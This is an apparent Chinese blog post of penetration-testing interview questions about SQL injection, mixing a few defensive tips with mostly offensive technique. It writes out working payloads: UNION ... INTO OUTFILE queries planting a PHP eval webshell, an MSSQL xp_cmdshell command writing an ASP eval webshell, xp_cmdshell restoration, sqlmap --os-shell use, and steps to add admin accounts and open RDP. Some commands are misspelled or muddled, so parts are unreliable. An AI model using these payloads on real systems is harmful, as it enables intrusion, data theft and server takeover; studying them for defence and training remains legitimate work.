美文网首页
2.sql注入

2.sql注入

作者: 皮蛋是个臭蛋 | 来源:发表于2020-08-04 20:40 被阅读0次

    sql注入的防御方法:
    1.对输入的sql语句进行过滤或者转义
    2.使用waf
    3.数据库预编译(在根源上杜绝)http://www.php.cn/course/868.html

    昨业:
    1、mysql、mssql、orcacle端口是多少
    答:mysql端口是3306、mssql是1433、orcacle端口是1521

    2、weblogic、jboss、redis默认端口
    7001 、 8080 、 6379

    3、怎么挖一个网站的SQL注入漏洞
    首先使用web扫描工具扫描是否存在sql注入漏洞,存在可以使用手注(单引号或者and 1=1,and 1=2 查看返回的页面),或者是使用sqlmap或者穿山甲工具进行挖洞。

    4、mysql没有扫描3306是什么原因 ?
    运推人员可能改端口了,另外mysql数据库默认3306不对外开放,
    防火墙限止3306端口访问,只充许特定ip访问

    5、0day漏洞是什么?怎么理解吗?你挖过这个漏洞吗?

    6、网络设备渗透
    如心脏滴血漏洞、Fortigate SSL VPN漏洞、bash破壳漏洞、弱口令等

    7、nmap全端口扫描怎么做,常用的参数
    nmap -sS -p 1-65535 192.168.1.112

    8、sql注入写一个webshell怎么操作
    前提条件是数据库权限是db_owner、知道网站的物理路径。写一个一句话木马上传到网站物理路径,然后使用中国菜刀进行操作。
    9、sqlmap参数,post怎么测试
    -r
    10、注入点在cookie头里边怎么使用sqlmap测试
    --level 3

    11、如何判断一个sqlserver的注入能否执行系统命令
    是否具备sa权限及恢复xp_cmdshell扩展存储

    12、判断出网站的CMS对渗透有什么意义?

    查找网上已曝光的程序漏洞。
    如果开源,还能下载相对应的源码进行代码审计。

    13.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
    敏感文件、二级目录扫描
    站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

    14.常见的网站服务器容器。
    IIS、Apache、nginx、Lighttpd、Tomcat

    15.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
    root权限以及网站的绝对路径。

    16、如何突破注入时字符被转义?
    宽字符注入 hex编码绕过

    17.注入漏洞只能查账号密码?
    只要权限广,拖库脱到老。

    public权限只能查看用户名和密码。

    18.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用
    迅雷下载,直接改后缀为.mdb。

    19、注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
    and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

    20.某个防注入系统,在注入时会提示:
    系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

    21.如何利用这个防注入系统拿shell?
    在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:[图片上传失败...(image-2b201f-1596011208330)]

    http://ytxiao.lofter.com/post/40583a_ab36540

    22.上传大马后访问乱码时,有哪些解决办法?
    浏览器中改编码。

    23、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
    A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
    选B,在 URL 编码中 + 代表空格,可能会造成混淆

    24、.发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
    有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

    25、sqlmap,怎么对一个注入点注入?
    1)如果是get型号,直接,sqlmap -u "诸如点网址".

    1. 如果是post型诸如点,可以sqlmap -r "注入点网址” --data="post的参数"
      3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

    26、sql注入的几种类型?
    1)报错注入
    2)bool型注入
    3)延时注入
    4)宽字节注入

    27、延时注入如何来判断?
    and sleep(x)#

    29、.报错注入的函数有哪些?
    updatexml与extractvalue,floor

    30.盲注和延时注入的共同点?
    都是一个字符一个字符的判断

    31.sql注入写文件都有哪些函数?
    select '一句话' into outfile '路径'
    例子:?id=-1' UNION SELECT 1,2,(select load_file('c:\boot.ini'))INTO OUTFILE "c:\test\aaa.txt"--+
    32、注入分为几类及提交方式是什么
    字符,数值,搜索,xx ,提交方式:get,post,cookie
    33、注入攻击一般所支持的类型有那些
    union注入、insert、update、delete注入、information_schema注入、宽字节注入、盲注(boolean、时间、报错)、cookie注入、http header注入

    34、mysql数据库帐号和密码存放在那个库和表里面
    mysql数据库的 user表

    **35、如何寻找网站物理路径 **
    mysql可以使用以下方法可以查找到网站的物理路径:
    1. 直接在出错信息中显示web路径
    在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站Web物理路径
    2.load_file(char(47))直接列出FreeBSD等inux系统的文件夹目录
    3.查看/etc/passwd文件中的工作目录
    4.读取apache的配置文件httpd.conf获取web路径

    36、分别写出mysql及mssql数据库写入webshell的方法
    mssql写入webshell方法
    前提条件是知道网站的web物理路径,mssql数据库在db_owner权限下可以使用写入一句话木马获取webshell 命令:
    ;exec master..xp_cmdshell 'Echo "<%eval%20request("chopper")%>" >> c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
    在使用中国菜刀执行木马。
    mysql写入webshell方法
    1.判断注入点
    2.服务器文件进行读写操作权限的判断
    (1).需要知道远程目录
    (2).需要远程目录有写入权限
    (3).上次目录需要有执行脚本的权限,默认是有
    (4).需要数据库开启secure_file_priv,在my.ini中配置。可以在mysql命令行使用命令:show variables like '%secure%'
    3.获取web路径
    4.服务器读写文件:
    union select 1 ,loaf_file('c:\boot.ini') -- &submit=submit,可查看对方的操作系统
    5.写webshell获取权限:
    union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\php\htdocs\123.php"+--+&Submit=Submit

    37、请说出mysql5.0以下与5.0以上的区别
    mysql5以下的版本存在字符转义以及不支持字句查询,所以进行数据库爆破时只能使用类似access数据库的方法进行猜测。
    mysql5存在information_schema数据库,注入比较方便容易。

    38、sql注入对服务器文件读写操作需要那些条件
    1.需要知道网站目录
    2.网站目录需要有写入权限
    3.上传目录需要有执行脚本的能力
    4.需要数据库开启secure_file_priv。

    39、分别说出sqlmap -u -r -v -p --level --risk --tables --columns -T --tamper参数的含义
    -v:erbose信息级别,默认为1,级别0-6
    -p:针对单个参数注入
    --level:执行测试的等级
    --risk:执行测试的风险
    -T:指定查询的表名
    --tamper:sqlmap过waf
    --file-read:读文件内容
    --file-write:写webs hell --file-dest:将文件上传到的路径
    --os -shell:系统交互的shell
    --os-cmd :

    40、注入漏洞防范方法
    1.在代码方面:对输入的数据进行严格的转义和过滤、使用参数化
    2.在网络层面:通过waf设备启用防sql inject注入策略、云端防护(360网站卫士、阿里云盾)

    41、mssql删除xp_cmdshell怎么恢复
    判断xp_cmdshell是否存在:
    and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
    恢复:
    ;exec sp_configure 'show advanced options ',1;RECONFIGURE;

    EXEC sp_configure 'xp_cmdshell';RECONFIGURE;

    ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

    42、sql注入的原理是什么?如何避免sql注入?
    sql注入原理:web应用程序在用户提交数据时没有做合法性判断,攻击者可以在web应用程序事先预定好的sql语句添加额外的sql语句,欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
    避免sql注入的方法:
    1.在代码方面:对输入的数据进行严格的转义和过滤、使用参数化
    2.在网络层面:通过waf设备启用防sql inject注入策略、云端防护(360网站卫士、阿里云盾)

    43、mysql拿到webshell的方法
    1.判断注入点
    2.服务器文件进行读写操作权限的判断
    (1).需要知道远程目录
    (2).需要远程目录有写入权限
    (3).上次目录需要有执行脚本的权限,默认是有
    (4).需要数据库开启secure_file_priv,在my.ini中配置。可以在mysql命令行使用命令:show variables like '%secure%'
    3.获取web路径
    4.服务器读写文件:
    union select 1 ,loaf_file('c:\boot.ini') -- &submit=submit,可查看对方的操作系统
    5.写webshell获取权限:
    union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\php\htdocs\123.php"+--+&Submit=Submit

    44、sql sever数据库怎么拿到webshell
    1.判断注入点
    2.判断数据库的权限是sa,db_owner,public
    sa权限
    1.判断xp_cmdshell存储过程是否存在,不存在使用命令恢复
    2.添加账号并加入管理员组
    3.开启3389 端口
    db_owner权限
    1.找出网站路径
    2.写入一句话木马获取webshell

    public权限只能获取表名和数据。

    45、请写出IIS、apache的默认路径及配置文件

    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
    d:\APACHE\Apache2\conf\httpd.conf apache默认路径

    相关文章

      网友评论

          本文标题:2.sql注入

          本文链接:https://www.haomeiwen.com/subject/nkfkrktx.html